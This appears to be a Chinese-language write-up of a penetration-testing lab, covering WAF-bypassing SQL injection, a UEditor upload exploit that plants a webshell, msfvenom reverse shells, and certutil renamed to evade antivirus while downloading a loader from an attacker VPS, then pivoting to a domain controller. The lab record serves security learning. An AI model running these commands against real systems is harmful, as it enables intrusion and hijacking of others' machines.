0x00 前言
开局豪言壮语:“两天必拿下!”;前期自言自语:“为啥这也能被杀啊?”;中期胡言乱语:“行了行了今天就这样吧”;后期沉默不语…
模拟真实环境,我把Web1通过frp转发给了VPS,修改本地hosts即可访问Web服务,总的来说这一套靶场打下来还算畅快~也见识到了自己各个方面的不足,这里简单做一个记录 (只记录可能有用的环节,一些白忙活的试错已抹去…),域内的部分大多是室友(后文用『马哥』代替)负责,我就不过多介绍了~
0x01 Web1
访问www.ackmoon.com
:
发现我还在配域环境的时候,马哥已经拿到了一个xss…
目录扫描,扫到了/login
路由,登录显示存在admin用户,随意创建一个用户进后台发现可以是可以直接修改前台模版(html),但是进一步操作需要管理员权限。
查看网站配置,发现使用了MSSQL和百度Ueditor,隐隐约约记得1.4.3这个版本是有洞的,不过上网查了一下漏洞利用需要一个富文本编辑器的接口,普通用户是看不到的。
种种迹象表明,应该需要拿到管理员权限才能更进一步。
网站首页查询界面存在sql注入
不过发现注入速度非常慢,大概10多秒钟才能回显一个字母。
一般这种xxxcms的建站,在网上都可以搜到相关源码,而数据库相关信息都是写死在源码中的,我们需要拿到管理员密码,那么只需要找到密码在数据库中所在的表和列即可。
在源码的HdhApp.cinfig
中找到了数据库文件HdbCms.mdb
,可用微软自带的Access打开:
经测试网站存在WAF,不过可用大小写绕过,这里选择sqlmap的randomcase
模式:
python3 sqlmap.py -r "~/sql.txt" -p DonforGjc -D "DemoHdhCms" -T "Onkey_DonforGlcy" -C "pwd" --tamper=randomcase --dump
拿到了管理员密码,不过我继续看了一下源码,抱着好奇的心态全局搜索了一下UEditor
,居然搜到了其对应的借口,用admin,password-moon
登录上去确实的确是这个。
麻了感觉白注入,不过关系不大,那就直接打UEditor
吧。
写一个aspx一句话,改名为 theoyu.jpg
,放在vps上并开启http服务。
本地创建一个html文件:
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <input type="submit" value="Submit" />
</form>
浏览器打开后输入http://your_ip/theoyu.jpg?.aspx
,利用解析漏洞上传上去(被保存为了aspx文件)
webshell上线之后,蚁剑连接,看看杀软:
进程名称 | 识别结果 |
---|---|
ZhuDongFangYu.exe | 360安全卫士-主动防御 |
360sd.exe | 360杀毒 |
hws.exe | 护卫神 |
之后马哥就进入了漫长的免杀环节…
想起来之前下载源码的 HdhApp.config 文件是会记录数据库机器的信息的,留意了一下再看看:
发现source
指向并非官方源码上的localhost,而是22网段的一个ip,怀疑存在站库分离。
0x02 data1
信息收集了一下也的确存在22网段和这个ip,mssql默认端口号为1433,这里我使用哥斯拉自带数据库管理进行连接。
连上之后,可以命令执行,但是很不方便(回显都在一张表里..),whoami看到还是一个很低的权限用户,需要cs或者msf后渗透才行。
可是msf在本地,接收不到web1的shell,决定用frpb把本地msf监听端口映射到公网。
[common]
server_addr = your ip
server_port = 7001
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333
这样反弹在公网2333端口的流量,就会转发给本地4444端口。
另外web1虽然是x64,但是x64的payload一直没反应,换x86的反而好了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your ip LPORT=2333 -f aspx >~/theoyu.aspx
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Sending stage (175174 bytes) to 127.0.0.1
[*] Meterpreter session 11 opened (127.0.0.1:4444 -> 127.0.0.1:63692 ) at 2022-03-25 14:38:21 +0800
meterpreter >
个人使用cs多一些,所以决定派生给Cobalt Strike。
meterpreter > background
[*] Backgrounding session 14...
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/payload_inject) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(windows/local/payload_inject) > set LPORT 7777
LPORT => 7777
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true
disablepayloadhandler => true
msf6 exploit(windows/local/payload_inject) > set session 14
session => 14
msf6 exploit(windows/local/payload_inject) > run
cs接收后,是用烂土豆可以直接提权到System。(马哥放弃了免杀,选择加入)
本来打算用cs自带的代理,用proxychain配合MDUT直接打数据库,但是m1的proxychain配了一下午也没配好,蚌埠住了,直接上网找了个自带数据库管理的大马。上面纯纯白忙活。(其实也不算白忙活,在exe被直接杀的情况下,也的确可以用这种方式回弹cs)
命令执行后,查一下进程,有火绒。
回到web1,之前马哥在web1被360杀疯了,在他的请求下我看了眼虚拟机是啥情况:
我理解这是两类防御,第一种是木马查杀,也就是直接传可执行文件,没做免杀或者免杀力度不够上来就没了。第二类是加载器+注入内存,不过此类可能会被入侵检测检测到。
上网查了一下,火绒应该只针对前者还有本地的异常命令进行检测,所以可以利用certutil
从vps上远程下载loader和row文件。
Exec master.dbo.xp_cmdshell ' certutil –urlcache –f –split http://your ip/HanzoInjection.exe C:\Windows\Temp\loader.exe'
发现vps收到了访问请求,但是并没能下载成功,查了一下是火绒对本地certutil
有所限制,可以 把system32下的certutil
移位置重命名绕过检测。
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
利用sp_oacreate构造语句,将certutil.exe复制到c:\windows\temp\下,并重命名为sethc.exe:
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://your_ip:20022/HanzoInjection.exe" C:\Users\MSSQLSERVER\loader.exe'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://your ip/cs.bin" C:\Users\MSSQLSERVER\cs.bin'
Exec master.dbo.xp_cmdshell 'cd C:\Users\MSSQLSERVER\ && loader.exe -e cs.bin'
cs接收后,同web1烂土豆提权。
信息收集,马哥发现22网段下135存活,建立cs自带的socks代理,马哥继续nmap扫描
Nmap scan report for 192.168.22.135
Host is up (1.4s latency).
Not shown: 983 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
110/tcp open pop3?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
4444/tcp open krb524?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
80端口下是个Apache服务,进入Web2。
0x03 Web2
192.168.22.135的80端口开启了Apache服务,通过代理访问,是一个 演示:J WT实战:使用axios+PHP 实现登录认证页面,用给的demo账号登录没有反应,这里马哥去爆破jwt密钥了。
继续信息收集,扫到目录下a.php
,前面是一堆sql日志信息,后面打印了phpinfo
发现PHP_SESSION_UPLOAD_PROGRESS
是开启的,那么如果存在文件包含是可能可以直接LFI Getshell(说是有可能是因为用代理打的话,不太稳定)。
但是走到a.php
最后,我直接蚌埠住了,什么意思?
这不就是典型的一句话木马没传参数的报错嘛,给蚁剑设上代理,连接试试
成功了,有点没弄懂,那jwt页面岂不是完全唬人嘛,马哥的爆破也白弄了,不过如果是真实环境下,倒是也都有可能,前进都是在不断试错的基础上迈步。
蚁剑连上去,发现phpmyadmin
,以及几个文件的创建时间,结合之前a.php
上sql日志信息,大概明白应该是利用jwt爆破的密钥登录phpmyadmin,再利用日志文件getshell。
马哥jwt也爆破出来了
简单测试了一下,用root Qweasdzxc5 登录phpmyadmin成功 ,之后就是很简单的日志写马,就不演示了。
但是Web2并不出网,这里我们通过Web1做跳板机代理出来。
payload生成选择Windows Excutable(s),再用蚁剑上传上去,执行拿到权限。
但是session极其不稳定,平均一分钟一跳,很难受:
看网上说用ew做跳板工具会比cs自带的转发稳定一些,不过在web1基本上上去就被杀了。之前Kcon关注到Stowaway这个项目还不错,有机会可以学习一下。
0x04 DC+data2
发现Web2在域内,看一下域内机器:
出去上了个课,回来马哥已经拿下了域控(别骂了别骂了有机会我补上),这里我横向建立 SMB Beacon,域内就可以批量上线了~
最后:
总结
- mac极其不方便,很多免杀工具都依赖于winAPI,直接G。
- 在未知的环境下,需要清楚自己当前的目标是什么,不然很容易在无意义的事情上浪费时间。
- 有机会可以学学多级代理、端口复用,自己写点东西。
- 内网还挺有意思,虽然我只是Script Kid。